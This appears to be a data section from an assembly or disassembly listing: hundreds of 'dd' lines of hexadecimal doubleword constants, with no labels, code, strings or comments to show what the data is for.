		dd 9CF879A4h, 93630718h, 0C81DC02Eh, 6F5F95BCh,	0EC992CC1h
		dd 0FD14D8h, 312A90F2h,	340BC5DCh, 90B4F5E4h, 246849BDh
		dd 0DCD874h, 0F83DC760h, 0D468FAEFh, 0CD904F0Bh, 6D68C276h
		dd 1EB0E0B0h, 3404DCD4h, 65242BD2h, 0B8D8ECC1h,	22EC582Ch
		dd 4BCF0E8Ch, 57B4B3h, 95DE2DF8h, 0A0B43335h, 0C84FD101h
		dd 34349305h, 3BC42C27h, 96A93AC0h, 8B0ACF8h, 801A160h
		dd 0B48DF199h, 0BE324024h, 0D17A46C0h, 0C04FC109h, 0F2D460A5h
		dd 75862DFCh, 2511B497h, 78A70F8Fh, 0AB00FEA3h,	45CE46E1h
		dd 0C8DFF54Eh, 9616E021h, 4BFA5030h, 78A04D94h,	68D63504h
		dd 9A0880B9h, 0C4B0F065h, 0A23422h, 5E168A0Bh, 134FF723h
		dd 218890BCh, 0F24027Ah, 0F076AA1Ah, 0EE488469h, 425B6961h
		dd 48C787B4h, 4000D13h,	1F19AEE2h, 66A0A873h, 23E90152h
		dd 4DC05032h, 0EC152F9Ch, 9E1CC7F8h, 0C3A0EF48h, 693D6CC5h
		dd 80A08C3Eh, 0C699CF9Eh, 372E3FA4h, 32481402h,	1B224430h
		dd 5180227Ah, 0CCBCD090h, 0AF7C049Fh, 0FA4C0856h, 0DC7174A1h
		dd 0C1002718h, 0F52CFE2Fh, 4C30A738h, 0B716E499h, 9A1C32D2h
		dd 82744E22h, 0E6891DECh, 0C8404DACh, 12BC884Dh, 490923ECh
		dd 0D1D1C850h, 170C0998h, 4875A499h, 0EA4C7D88h, 0A488B2B4h
		dd 4407DB10h, 914E2833h, 5C83FA04h, 1044A9A9h, 3ADCDDF7h
		dd 489A4E42h, 0A794019Fh, 0CA2A9FC7h, 3981D461h, 5C2800D8h
		dd 0E62D0F3h, 0C516002Bh, 5F9CDDA1h, 40047DB9h,	1BF53410h
		dd 0AB78A481h, 26A13C28h, 3C402FF4h, 7E4D40EBh,	0C73F814h
		dd 2C0F23C0h, 0A1627F1h, 8CC0AB2Dh, 90DC8580h, 78789B5Ch
		dd 92E4D1C3h, 640699E8h, 3CCC2F21h, 9004A968h, 41CFE611h
		dd 10D09BA8h, 12E7253Ah, 4CB51C4h, 2116C7D8h, 92087D99h
		dd 0C8DBAD4Fh, 0FC0BDE20h, 0ABA30C4Bh, 0FE649080h, 37771F63h
		dd 6B090F20h, 35961EE0h, 219DCBD3h, 469CDEC4h, 98F303F0h
		dd 0BC97977Ch, 32802091h, 4BA3339Ch, 89B94431h,	2025D735h
		dd 8F10CC4Bh, 3CA6930Eh, 0F86848A2h, 0A8BADBB3h, 84C44B26h
		dd 28A76B82h, 0BB8829Ah, 877304C7h, 0C56B2860h,	60B06460h
		dd 9682ABFh, 8128A97Ch,	0E837EC51h, 9823D524h, 0A60B01D4h
		dd 7C2CC9F6h, 51D26E80h, 88955F98h, 465C4458h, 87800B3h
		dd 27FEAB94h, 533F00F3h, 0DFEC0752h, 0C258FBADh, 2CD10078h
		dd 0ACFC8F96h, 0E666E06Bh, 5A4325B1h, 0E7F2C4A0h, 0AD07C563h
		dd 0DD39416Eh, 91334E20h, 2BFE0562h, 0F4F20E6Ah, 2107FC58h
		dd 80D7EC64h, 50C05895h, 9435619h, 0A0699FC6h, 0B2D980D1h
		dd 0AC1C8018h, 3385A457h, 68A8EB2Fh, 0CFAD5380h, 6F019EB8h
		dd 0EC61600Dh, 206AE7D8h, 196DBD24h, 7467B100h,	1F6B0676h
		dd 12649082h, 40BE605Bh, 0A1F2FE08h, 83EAE975h,	50B2042Eh
		dd 7C25467Ch, 85798C03h, 80AE7282h, 0B4C5A051h,	0C12205CCh
		dd 232C2EE2h, 74FF0021h, 0A7F254E9h, 0A8A2612Ah, 95617364h
		dd 0A8D7E705h, 0EA7E0120h, 0D0134D93h, 2012F07Dh, 0F3F40BC9h
		dd 6F385048h, 31586200h, 6785A8C2h, 0F65CFE39h,	0EC142C65h
		dd 49730099h, 0A7D24297h, 64792928h, 1CC8E64Fh,	153600C7h
		dd 0F24568B2h, 0D8054C89h, 75023CD5h, 9061C8C1h, 24C48002h
		dd 0AEEA3001h, 5B7CB014h, 19877EF1h, 0E035CE85h, 6E273E7Dh
		dd 7ACA7F09h, 0B40508Bh, 2ED2FAF3h, 0ABE49C65h,	0F4616A62h
		dd 2C02C0Ch, 0A3AD9053h, 45A48B75h, 60B4C490h, 0F24060h
		dd 0FE82F733h, 80EE4F48h, 0D2FC4648h, 7AA0301Eh, 5B8C3E70h
		dd 0F71CD380h, 55984E28h, 20E16B30h, 0E5A526Ah,	0A9072CB4h
		dd 0C30ED21h, 1A7CDC22h, 6B16B0C4h, 829C40FCh, 0ED0EA8EAh
		dd 315DCB40h, 6E78E00h,	3B646016h, 0C8AB27FEh, 0BA00A4C4h
		dd 1F56DEB8h, 134323AAh, 0E3DF5E81h, 6C497DD4h,	2506001Ch
		dd 473CDBF7h, 0AC179578h, 0A480DB91h, 256809F2h, 0E7966501h
		dd 2FC5C291h, 904E4430h, 0C7EF240Ch, 0C1E74028h, 760B9618h
		dd 815BF781h, 0F0652168h
		dd 0D001F855h, 0FF245491h, 70006423h, 0A944152h, 5370FB68h
		dd 0EC70BE4Bh, 4A2C63FAh, 2F452B4h, 0FD3E8B50h,	644B8C7Eh
		dd 41560044h, 6E9B9D02h, 2C000BFCh, 0C1A7F404h,	62012Eh
		dd 0AC56115h, 0CE9E3418h, 0D4B2A428h, 0AED1D491h, 0FB000818h
		dd 0DE72B4ECh, 18C6528h, 0C3EA7619h, 3C44D280h,	8C1EBCBCh
		dd 1D987200h, 9EB9F891h, 19C24F1h, 11602CE0h, 5B6580EAh
		dd 8C674FCDh, 9E344h, 53C05B5Eh, 8334B5B1h, 0C590C20Bh
		dd 0BF9C04A8h, 1DC840ECh, 5AFEA689h, 28BF6710h,	68E489D3h
		dd 4C3C0945h, 4C41FD80h, 2501D81Ch, 0DD92D35Fh,	0C443F60Ch
		dd 9BD398h, 0E3169C9h, 75076517h, 5BFA9904h, 14A9C6ECh
		dd 1F4A710h, 71959870h,	8A31C7DCh, 0E0CD08ADh, 166080CEh
		dd 7CACBEB2h, 19981244h, 80A49426h, 0C880E5B4h,	91BA3402h
		dd 50305BFBh, 89C0018Ch, 5533E6DCh, 0E87803h, 77DBA8F2h
		dd 0CE74E466h, 2F1F63F8h, 8F2BF038h, 0B4B05104h, 6F530B7Eh
		dd 60591E44h, 5AEE99C1h, 0D444C833h, 0C0E4E4h, 443AF80Eh
		dd 0A3DE5178h, 8ED6310Ch, 589021DBh, 0A22E84F5h, 41FB65C8h
		dd 0DDA7C7ECh, 84446F82h, 3009153Ch, 0DB913017h, 96385680h
		dd 54B2F335h, 0EC637209h, 51E42B9Dh, 4F2801CCh,	7C7198D1h
		dd 0B1009EECh, 82669C69h, 2F1E5FCEh, 3822238Ch,	760B3980h
		dd 4B2470D4h, 299FD013h, 48DE4E0h, 1B19CB33h, 89F140E9h
		dd 0BEE18161h, 0A0674758h, 4D95DE25h, 0B0F63734h, 0FCB848A9h
		dd 0AD4D257h, 0B01DDC2Eh, 914CC625h, 18B1D138h,	0F4600F9h
		dd 0DE598AF3h, 84A810AFh, 0A40543ACh, 38EB05FEh, 219F818h
		dd 632B01F6h, 49E739CBh, 64042F03h, 0C500A290h,	139B29EEh
		dd 0C86A1A02h, 0D4DF1C19h, 84D94B58h, 0CC198B59h, 0DC03F1F9h
		dd 0F3E32E92h, 0A9C100A6h, 54145E7Bh, 1C1C904Ch, 0C58556D6h
		dd 0B4BCE59Bh, 6380A5C8h, 0E4649D75h, 6AA4005Ch, 1E10F8F4h
		dd 7B77FAF6h, 8080C74Eh, 4E4A8157h, 0B6C013ABh,	4873E09Ch
		dd 0AD3C3E19h, 94C0A914h, 0A1609920h, 77353359h, 90096D4h
		dd 0A8040DBEh, 8C1052EEh, 2EA081F8h, 0F1001038h, 2F1721CAh
		dd 585D14C8h, 0FBBD7Dh,	3F30510Bh, 0C70F956h, 233595AEh
		dd 7F376A61h, 8167A10Ch, 181B07Ah, 3090672Ah, 1067BC4h
		dd 2EC43662h, 2A8FD661h, 0D030B456h, 0F63EE04Ch, 6C310154h
		dd 93A72F25h, 962CE4F3h, 81D87017h, 0AE1D9A1Eh,	0BB9153C1h
		dd 8F605597h, 8B9C9CB7h, 0FCD0D681h, 0BFEFD109h, 0A6844069h
		dd 0E822B5F2h, 0B543A7F9h, 38F81805h, 0CC932D4Ch, 0F2C9250Fh
		dd 79EC5820h, 700F348h,	6077AAD3h, 1D182766h, 120807Eh
		dd 0B01AE2E0h, 7C416E81h, 555BCF1h, 0E650360h, 0A7213945h
		dd 9AF05700h, 7E2ECC52h, 6762D810h, 3A5A02ECh, 1602B47Eh
		dd 74B32D96h, 0F0CC1488h, 4B809A04h, 215D470Fh,	38E04465h
		dd 19C36A20h, 801691D4h, 216389C9h, 0C00CB9B6h,	0D489C1D7h
		dd 3AC56200h, 5BFD87C2h, 58A84968h, 6A92AF88h, 7004100Bh
		dd 0C84F0A18h, 89A4976Dh, 90715380h, 19FD5B09h,	1982554Ch
		dd 0EBC34D3Bh, 0A2204C4Eh, 0D118B108h, 3918E0h,	9FFC612Ch
		dd 6CB378Ah, 681D6C24h,	80BD0245h, 682CF8ADh, 9CA53E00h
		dd 0A7D13588h, 8234B9F8h, 0CD672D95h, 0EB83FE00h, 1DC6EE21h
		dd 44A2303h, 907C81F1h,	0FCCBEF08h, 9537F001h, 0D81821DCh
		dd 40BD5C20h, 832DFA0Ch, 0F3A882F4h, 0F758E89Dh, 0D85B1AFCh
		dd 0D89019C7h, 463D44FBh, 282B02B7h, 4375908Eh,	1743CCE8h
		dd 6010A969h, 2B000E51h, 0CF40DD7Bh, 229FE0AFh,	20781F08h
		dd 272199F2h, 503A8832h, 40A80477h, 1D045C18h, 0AF9E18BEh
		dd 1AC5892Ch, 42265A02h, 61CD6A1Bh, 5192ABC4h, 0E0B42759h
		dd 6CB5EABEh, 372D3417h, 0EFCB3847h, 6CFC81F5h,	922F241Eh
		dd 98281253h, 0C08AF2DCh, 0AEB814BCh, 763FEE84h, 6D5304CEh
		dd 829F034Ah, 94204990h, 2783FF74h, 0AC09C384h,	3B58C8F3h
		dd 660A3A29h, 99072383h, 0A2D77EBh, 0AFA804B0h,	1293E4C8h
		dd 20E2872Dh, 0F6A6146Ch, 1984E554h, 92B038B8h,	0CB4C38B0h
		dd 0BD6718ACh, 5D0E9AE8h, 904C6848h, 0DFB004D2h, 51C801E4h
		dd 0B06899A8h, 0F67F500Eh, 52690F3Eh, 64A2E589h, 9CD8B11Ah
		dd 16C8C544h, 0F0A1904Fh, 0D5EAF25Ch, 13205C90h, 0BB427FEEh
		dd 0DE807860h, 2DCEFA3Ch, 0E1989051h, 79B002Ah,	0FE85E24Bh
		dd 7E00B0B5h, 39F2C3A3h, 9D71E84h, 6D5AC59Eh, 0AB04F0F2h
		dd 8FA4F1F7h, 58922CC1h, 4520F006h, 0FF24097Fh,	102139EBh
		dd 2A2C9A0h, 43DC7C96h,	0FFD0C1D5h, 330BB34Bh, 35ACD20h
		dd 45FB420h, 6A985338h,	2E4F00DFh, 1EC8DE1h, 9F3B959Ch
		dd 0EA528F41h, 4D6501D7h, 9C203405h, 0F5533BFEh, 35CD1E80h
		dd 3E6B6567h, 42A6126h,	4EC504Bh, 91C849B8h, 0E5011F7Ch
		dd 0E72D09CCh, 0FC0F3028h, 7F70D67Bh, 625F1AE6h, 98DE981Dh
		dd 60595AD6h, 0BE1D210h, 63FC5ECEh, 0CDF36BFCh,	18F84058h
		dd 7359E2C3h, 3DBC404Ch, 0D3345817h, 0AF23D43Bh, 78EE9100h
		dd 3E4EC26Ch, 0C7BF2D06h, 0A1B5D8E2h, 4CE40529h, 0F8F25CD5h
		dd 5D3024F2h, 0CACF4C0Bh, 0A2C84513h, 0BA7D0068h, 6F84BF96h
		dd 0DACF00AEh, 7EB8D17Bh, 7109773h, 51053D60h, 0F47905A0h
		dd 3C7CBC38h, 413B1C88h, 5C6820C8h, 0C95F6AF8h,	89F14430h
		dd 0ECFE827Ch, 4A391FC6h, 0B0A4F6DBh, 1C8DFFC4h, 6ED5EE70h
		dd 6035706Ch, 91774400h, 1F558E45h, 44649CD9h, 2C58A806h
		dd 0DE5401h, 38133666h,	0B94B3B3Fh, 0AC06C90Bh,	0B6F8C830h
		dd 20E0A6BFh, 2029942h,	0A66EF725h, 98AC4046h, 20A54081h
		dd 14A82710h, 63C05104h, 81ECBDBFh, 0DE08CD1Fh,	2858FDCh
		dd 32884EAAh, 7C40C514h, 91B73868h, 8285E28h, 0ED153780h
		dd 0D1000271h, 0ACFCA028h, 7AD30D64h, 0B497002Eh, 86C1C582h
		dd 181F14C8h, 0D8C5EAA6h, 0A8B8097Dh, 0F8C25BCh, 0A67B7D8Eh
		dd 8BA3A720h, 7077C9D5h, 0E18C7C27h, 60EE9424h,	0F1D20A1Ch
		dd 59E2h, 6708F73Eh, 7009281h, 940B58CEh, 0B1B11DBh, 6322DAC6h
		dd 0E0025889h, 30021D44h, 4678A00Ah, 0B821863h,	615766CEh
		dd 11C6010Eh, 2498405Ch, 381B9030h, 5E3DBFC5h, 23583B9Ah
		dd 0D58700B0h, 9069194Eh, 0ED47D200h, 7162FAE3h, 9A970F50h
		dd 0C581B4A3h, 7B93699Fh, 0B0234C3Bh, 70E25600h, 48227931h
		dd 191110D2h, 0F67A2291h, 0F549018Ch, 3D90675h,	0E2426D3h
		dd 9927FF20h, 386889F8h, 38C21BCh, 44803A0Fh, 190E16B0h
		dd 0A07A2B17h, 7760F26Bh, 48A404EAh, 0E44D9684h, 6370FCE8h
		dd 15480095h, 4C4A818Dh, 0C8C86835h, 2634F6C0h,	84145894h
		dd 0A81851E3h, 0DEEF65Fh, 6B4E96h, 94885264h, 0FA139A81h
		dd 0FC41DE4Bh, 0D9872533h, 44E1072h, 0B80DE070h, 8CDAEC04h
		dd 207F2D27h, 0F2FE0244h, 4A6314B8h, 961230F5h,	0B268A30Bh
		dd 931D30DEh, 7015BF00h, 92638C2Dh, 908D13A2h, 26740474h
		dd 7200172h, 0B46532CCh, 91B5E6FCh, 18ADF164h, 2B101A9h
		dd 0F721E552h, 0F3FC64CBh, 28A13330h, 6059F89Ah, 2390A9D8h
		dd 0D200E22Eh, 0E487BCA0h, 0C8FA07h, 0E322673Bh, 0F0B1CA1Dh
		dd 815E9339h, 0F7CC51C4h, 0D84616D2h, 61A82568h, 0DC5A6082h
		dd 8A71A079h, 91791618h, 3A8EDA0Fh, 0D19A6CD6h,	0D04B5321h
		dd 0F4181916h, 0D1324C0h, 0FC42B4F4h, 727EFD49h, 7F8A17A0h
		dd 78ECF0B1h
		dd 282F2480h, 2A844F1Ah, 83091D5h, 98EAB049h, 257B22BCh
		dd 0C4904F80h, 209CC47Ah, 194E4E44h, 1BAF50A3h,	8064293Ah
		dd 0F6F2D22Ch, 0E459A7h, 0B87CA49Fh, 0C01AB2C3h, 0EC43815Eh
		dd 401CC5h, 0DE99EA56h,	0E7739205h, 0AB160D01h,	9821E351h
		dd 4BC7702Ch, 1F91D81Ch, 98C74E19h, 2058029Bh, 0BFF0878Ah
		dd 5A656096h, 0C3E0A4h,	0BDC5D343h, 4A1211F3h, 4200DAF0h
		dd 0D78C2A7Ch, 136E8862h, 0CF5EAFA5h, 0C02588B0h, 8046128Ch
		dd 4A835800h, 1BDB5177h, 18CC5C6Ah, 47982Dh, 0EA6088C4h
		dd 0AB189E7Bh, 0FB19EE81h, 0F8610EA0h, 0F549EFC7h, 0FCF02440h
		dd 0B1547B12h, 945118B0h, 5B9A84FCh, 8D18E0D4h,	3A24D75Dh
		dd 252040EDh, 0DCC07FF7h, 249C19F6h, 3C9DDC08h,	796F1E3Eh
		dd 0A3084B83h, 3B696117h, 0B98FFC1Fh, 0B4D0F2D5h, 60B40ECAh
		dd 0BE0D500Fh, 884A5B8Ah, 2B5E6CB2h, 2DC23D4h, 94627C0Bh
		dd 5C88915Dh, 846A6E0Dh, 0E3349A0Ch, 0A00022E0h, 46D92D4Ch
		dd 0C02C79FAh, 63B9F326h, 0E270CFB0h, 60765926h, 7FE1C019h
		dd 0B98848h, 0CC63E89Fh, 0B1D941Eh, 0D813FA4Bh,	34E8F8C9h
		dd 18F9624Bh, 5121015Ah, 27BE9A8h, 27F7224Ch, 47004C50h
		dd 0CC8BEFDEh, 0A752976Bh, 60DD4498h, 64E901h, 42CF2D41h
		dd 0E251C2D4h, 0AB2F1B25h, 0F3808680h, 51C112C9h, 17CCA8EAh
		dd 0C86050C0h, 382CFE4Fh, 320F53A8h, 0C100FB54h, 811BBE18h
		dd 0D200F776h, 9C8C1ECBh, 2DE66E95h, 0F0659919h, 0A660DBE4h
		dd 172F19A9h, 7550C477h, 0B71078CEh, 18022044h,	62A9D33Dh
		dd 4CDB85B8h, 2E19C8D8h, 1984D56h, 6C26C4EAh, 900820F3h
		dd 0A60064B9h, 21629D30h, 88504E27h, 7C94BA74h,	72984362h
		dd 0ECEB20ACh, 0B07C700Dh, 142368C0h, 0FC098A7h, 0FBC72EFh
		dd 3C8F8B8Eh, 17B03097h, 98B0E248h, 29BF02EFh, 3D3C59h
		dd 81F91762h, 4FB850h, 19E47BD5h, 0BBB083F5h, 344484BEh
		dd 40ED348Ch, 610C08Ah,	205C3EF4h, 4889529h, 0EC99C29Fh
		dd 8CABF88Ch, 5109AD98h, 519A87B0h, 1827D908h, 66B400FEh
		dd 2AD83A1Fh, 0F890EFE7h, 1052F35Ah, 0A52064FCh, 6C279613h
		dd 276F88B1h, 0FB7AA390h, 677580F5h, 733BC03Ch,	40D3CA5Fh
		dd 90509760h, 9FF1A5h, 3C147B6Dh, 0CB153BCFh, 0F3275501h
		dd 97650ED4h, 889B3055h, 42B55CC0h, 6090199Fh, 74C7F482h
		dd 5C60AEC4h, 1309227Eh, 0A1BB353Eh, 0C8D5A34h,	6C21BB04h
		dd 58D8A1CDh, 0EB550013h, 0EC418C25h, 220931B8h, 796A2169h
		dd 18AE794Ch, 43AFC61h,	23359660h, 1614EDD0h, 90F2A624h
		dd 50B8710h, 91FEC62Ch,	0E41833BEh, 0FEBFC9A9h,	4918E0A0h
		dd 230F7C16h, 81962793h, 485D12DAh, 5771C7DFh, 0E7BCD5Eh
		dd 0A7A05164h, 0F2641DA2h, 8C27C90Bh, 3D04DECCh, 92D58306h
		dd 0FD07B19Dh, 7582A1F2h, 55847C82h, 0A162C8A7h, 49ED3EAh
		dd 6E2F1889h, 2FF70174h, 14B04AD8h, 0C28E1980h,	0D51C9BFFh
		dd 5B7CFD07h, 0D8ED70B1h, 0C42055DAh, 7E37AA6Eh, 8E51DD00h
		dd 6CC1CF42h, 0D3BE05DFh, 214BFB1Fh, 0C2A76AA8h, 0AE4B5C52h
		dd 83BA5C49h, 0EA383FC9h, 2795E073h, 69F60286h,	3053A2F9h
		dd 0C25E5470h, 444EF04Eh, 0A8B4C850h, 68A4BD93h, 503EEBD1h
		dd 8C008B23h, 5CD9A90Eh, 95DD04F1h, 93D70B2Dh, 70B4414Ch
		dd 3B571B05h, 0A23E4692h, 0AAFBA681h, 3A809877h, 0B8001853h
		dd 91E9C827h, 6F6000F7h, 6BE8CC43h, 0D103AA79h,	236ABE26h
		dd 0C02CDA07h, 5A662164h, 50EC2197h, 0C7543CE8h, 29BDE51h
		dd 0C4201A58h, 0C811CBDCh, 2D045C08h, 359F20F2h, 9CF88FA0h
		dd 5D007E2Fh, 53C7E8F0h, 5B85C83Ah, 81BE4844h, 0BBC07E0Fh
		dd 67363AF4h, 0DACDA200h, 800FB960h, 1ED00290h,	0EA17558Eh
		dd 10ACB07Eh, 3277FF04h, 0EBD3F904h, 0AE7C3422h, 12C748E4h
		dd 2D88E3F4h, 0DE0E00Bh, 484F817Ch, 0A169801Ch,	0B386930h
		dd 25E8D6C6h, 990244D2h, 4D95D4E6h, 1654743Dh, 998C8FEh
		dd 143C6858h, 0C638C728h, 10F9A431h, 7C4DAEF7h,	1040DA5Ch
		dd 0C80B0B60h, 546CC77Fh, 0BA7C44E7h, 0F75F5407h, 4C4C4329h
		dd 0B24E68E1h, 1F220BC4h, 945CF008h, 0A4CC4388h, 5E0AB1A0h
		dd 0B00420A5h, 2747A6FDh, 0F0202D18h, 88B2D9B8h, 8931CA12h
		dd 70F45C0Ah, 901A8165h, 3EDCD3E0h, 324EF9A1h, 0ACBC68A8h
		dd 1AB9768Ch, 0D1125280h, 0D6507880h, 0D32C8BC1h, 814074AFh
		dd 0EDD7632h, 0F2D5E79h, 46A90A60h, 9C04FAF2h, 0F3559398h
		dd 0C6009CA8h, 0C8E9F751h, 23006118h, 583DCEEFh, 4AC95Dh
		dd 0B05F1DFh, 0D3FA6B0Ch, 0BBF521C0h, 0F9498A4h, 3AB0F1AFh
		dd 5B156283h, 251A34A1h, 0B5B8A4E3h, 0E6EDBD01h, 0EE0C4F4h
		dd 22736Ah, 530DCA5Fh, 0E43C31A3h, 25332307h, 8FC1F765h
		dd 0E8619CCDh, 0E4D641D5h, 95990544h, 47745B59h, 5E9626E8h
		dd 148EEA4Fh, 4A06EEC0h, 110250F2h, 51CDF9DDh, 9947253h
		dd 1C199873h, 0DCFB2048h, 43AA5003h, 197A8DD6h,	109A09B0h
		dd 218628Fh, 1D0C8821h,	75F08469h, 900A9CD4h, 0C2D12874h
		dd 0A799A824h, 86850628h, 4B5F580Dh, 0AE94D440h, 1DDCD8B7h
		dd 9C931ABh, 48D6F6A7h,	0DD215080h, 531D9883h, 0DAC14057h
		dd 72F5A7CAh, 361D008Ch, 69CDFC90h, 0D791320h, 80FC90C6h
		dd 90DC5E2h, 31C82A97h,	853CB5D2h, 42768CD6h, 8234C3A4h
		dd 30C8BC44h, 5934A1A6h, 0EEC00B60h, 8D35BDFCh,	0A76B6528h
		dd 0BAD17A60h, 2A0EB87h, 2350CCFBh, 488E805Ah, 3AB2BC95h
		dd 0EF197136h, 0AF3A78BEh, 5088724h, 4FBA8DD5h,	3918D4A8h
		dd 19654880h, 54084B61h, 40264488h, 0A789BEF5h,	0A4A0B5F8h
		dd 0C79ACC49h, 0C3025100h, 0F6AEBA61h, 3062695Ah, 270540Ah
		dd 80CB8FA4h, 0AF11FCD6h, 0C9431A07h, 32C8C595h, 0BC912C20h
		dd 9296FDAFh, 9C4C3530h, 1FE20893h, 87A5A6Bh, 1028C1C4h
		dd 0C5ADC71h, 17BAACA2h, 244BA9D6h, 1C3C03E6h, 9208107Eh
		dd 0FC3A104Fh, 10FF5710h, 0AD107A38h, 0C89510EAh, 10934710h
		dd 5C1867C6h, 0A76858C3h, 0D0B508C6h, 957A3118h, 155BE08h
		dd 0BC015C88h, 9BF501FEh, 5A8C3088h, 87D0E08h, 8208617Bh
		dd 0A3B80CF0h, 8B408D28h, 10A063A8h, 0C7F70294h, 0F0185CC4h
		dd 4208F462h, 0E0D10283h, 2DD1902h, 52025B6Fh, 75BD0257h
		dd 20990C06h, 6331F55Ah, 0EC530886h, 16D2301h, 7898AEDBh
		dd 0EED7813Fh, 7C9018C6h, 90016271h, 7D0254ECh,	90370260h
		dd 36A0F02h, 6120EB99h,	742E208Fh, 8815E31h, 97018EF1h
		dd 0F6CD0148h, 38A0101h, 0F16131E4h, 1E1D8A9h, 71036692h
		dd 5D03C910h, 0F3631022h, 33996079h, 0B8A1DBC0h, 0DA5410BEh
		dd 9755EC9Ch, 0E6D412E8h, 49E7D0A6h, 49504720h,	7A3108DFh
		dd 19645A1h, 1101C6F5h,	18FE03D0h, 58AA58B1h, 8C5BBC5h
		dd 98040356h, 5C04559Fh, 0F71B04DFh, 0C532C04h,	63092929h
		dd 0D1D038C6h, 568D1818h, 0C6A89608h, 89AD318h,	0EB49E563h
		dd 0E779337Fh, 0F9103908h, 3D10D626h, 4F1F10B3h, 9824AF24h
		dd 0D93F39A1h, 0CDD19C8h, 63F19266h, 0A051C081h, 30244E1Bh
		dd 6750CAC1h, 0E27888D4h, 57394D19h, 580F7188h,	10BD6B0Ch
		dd 0E1CE402Dh, 8847A9C6h, 0B5F93208h, 80A49C20h, 0F50893F3h
		dd 5CDB5910h, 887CE424h, 2C1ECBA4h, 0AD263260h,	0B8A4E640h
		dd 383091A7h, 9B86054Ch, 0EC945408h, 3AC9C955h,	7945F026h
		dd 24DA6020h, 0A2C4B035h
		dd 5D3A208Ch, 18C04B32h, 2ABCA629h, 0D2C82059h,	206AF720h
		dd 9A338443h, 18C549A1h, 18911708h, 8C9E954h, 0CDEC2377h
		dd 7E9920E8h, 20D00920h, 9D2606B5h, 0F79068A5h,	7D996131h
		dd 489002CDh, 0C9685368h, 54A3AC08h, 713287DBh,	47A0966h
		dd 448D2E0h, 0AF40C4A3h, 62D11004h, 0F4A48007h,	0FA4709D0h
		dd 7840EFC0h, 0D21B4839h, 0A810ECD8h, 37FF2B8h,	93DA5C9Ah
		dd 0B2BA9DDFh, 0DCF580E9h, 0D8FE0A72h, 0D3D1BA17h, 7F526500h
		dd 165195BCh, 35619BE9h, 629880B8h, 0E700BBD6h,	44023BA1h
		dd 5B9EA2h, 5D7A24EBh, 0E04F4C20h, 0D75AF20Ch, 1BC683Bh
		dd 0CB6118E9h, 0BC8926F3h, 0CC372CB8h, 0E105AF41h, 68016080h
		dd 58F40EB2h, 0AC72801h, 56945AECh, 47489Fh, 4D8AE015h
		dd 590E1781h, 5CF9970Bh, 90FA9C3Fh, 0BD5AF1C3h,	0F7300FACh
		dd 0DA06BC36h, 19001069h, 0CAA0FDC6h, 0C4FC139h, 0AF48F422h
		dd 63006991h, 24ABD44Dh, 0B09EC8h, 6EC96C6Ah, 0E1E47326h
		dd 0F6312000h, 0CC09B4A2h, 8E230095h, 0FAE7765Ch, 6406481h
		dd 2ED21EFCh, 8BAB84EDh, 445EE5Dh, 44F8235Ah, 0F8F41873h
		dd 428E1887h, 9AF38801h, 9C12A732h, 1EFF38CCh, 70085ADEh
		dd 0F0CCEFB8h, 649DFA00h, 4BB069C9h, 700902Dh, 2388515Bh
		dd 4FE1AE9Ch, 0D95C21D8h, 8BF05365h, 484027BDh,	0EF731902h
		dd 4020078Eh, 26DF3EAh,	48C0B8A0h, 0D4922103h, 0B0712295h
		dd 0B70EA86h, 0FB00DE8h, 848D38A0h, 27004F76h, 6021C5BBh
		dd 0A06DD481h, 28A9FA80h, 53C5B8Bh, 800F89F4h, 1380FCF6h
		dd 0A8F48CF2h, 505E548Bh, 23F1C3F7h, 1CC1E264h,	24109534h
		dd 0A1D13B4h, 786940B0h, 66EA0C27h, 0A8C0A697h,	909B2B40h
		dd 21F74A80h, 8169C58Ch, 0F3B19298h, 0F4009F36h, 0C4BA655Ah
		dd 0B40C177Eh, 83C1195h, 0BB2606F9h, 612EE2A2h,	0D8EB6231h
		dd 6F259F3h, 1B001996h,	828ACB36h, 7F546BBh, 0DA931D9h
		dd 783A56FFh, 95875A18h, 0B0184C8h, 0F3EDC1E4h,	0F048830Ch
		dd 18AFC40Ah, 0F13E831h, 5A1A2490h, 9C9124CBh, 0BC2F00C4h
		dd 552EF2FAh, 9223FD3Fh, 950AF504h, 5F1FD020h, 0A6368300h
		dd 30AFC1DFh, 9348C950h, 639FFD5Eh, 0B88CFC08h,	0BA0409Eh
		dd 89F39200h, 0C985B61Fh, 4883018Bh, 5AADCCE9h,	0B801C754h
		dd 75BC7EC5h, 0F4D03F51h, 260F288Ah, 0E4957CC0h, 0C0C14BAFh
		dd 5C196490h, 97002CE6h, 88CC4853h, 0A56A7C7h, 0C81C4299h
		dd 5AC10008h, 30EF6524h, 3E84CA3h, 38A0C2F7h, 1B4AF41Fh
		dd 445030C2h, 959A1F14h, 40AE9464h, 5FD2E0Ah, 109318A0h
		dd 0BB060F49h, 13A1AF75h, 828B0118h, 855483E8h,	81A420FBh
		dd 0D40ADA4Ah, 0F40090F8h, 4D1A89A1h, 3EC61532h, 0EF1D9C1Fh
		dd 404B535Ah, 20DCF540h, 0C9009CFBh, 5D8C2146h,	3D8FFA25h
		dd 18468F9h, 0E0785B75h, 0E20CEEE0h, 68DFBA81h,	50E09572h
		dd 8C0225CCh, 3B0FD387h, 0A0186AE0h, 0C5525C24h, 247858FEh
		dd 7941AB19h, 70926ACDh, 0F3F8811Eh, 6422DD82h,	28BC5418h
		dd 9D5AEB4Fh, 0AE44F05Fh, 94951E0Eh, 7209A8E8h,	0FC27B945h
		dd 848BC496h, 1F84F430h, 5E505B07h, 76C0D2FEh, 0D63790h
		dd 0D1C91C9Fh, 801DB081h, 0F4512D24h, 982EBDB8h, 0AD1113F2h
		dd 0BE1931F3h, 8373FF60h, 0CC47CF89h, 8857C340h, 504862C1h
		dd 308108F4h, 68404A89h, 0EDF12F26h, 0D710802Ah, 0A5BCFC47h
		dd 898C072Ch, 76F40DE5h, 1F0058F7h, 0EADDBD55h,	0A3B8C75Ah
		dd 11A20080h, 7693D3C0h, 726AFCDh, 0EB819438h, 67096128h
		dd 806454D9h, 14CE0080h, 194D0E44h, 0D5005564h,	0DAEFE8B4h
		dd 0C0025081h, 3EB1F288h, 0F048E4C9h, 18350070h, 0EF8F0478h
		dd 0A05DF0CDh, 59F41C08h, 0FF005CE8h, 0C256DAE0h, 0B760B95Ah
		dd 703B2070h, 83F4265Bh, 7F0C8374h, 0CEE04D9Fh,	37485181h
		dd 0E49C8AB0h, 23945029h, 0CBC49D8h, 0D832BFAFh, 0C1E0A395h
		dd 0CC35D0D5h, 0C59420h, 19C9BC3Eh, 0DB3815Fh, 0F2D9C8C5h
		dd 4F38A0h, 0A7FABB17h,	7D0815Ah, 8B24E0A4h, 0C241B45Fh
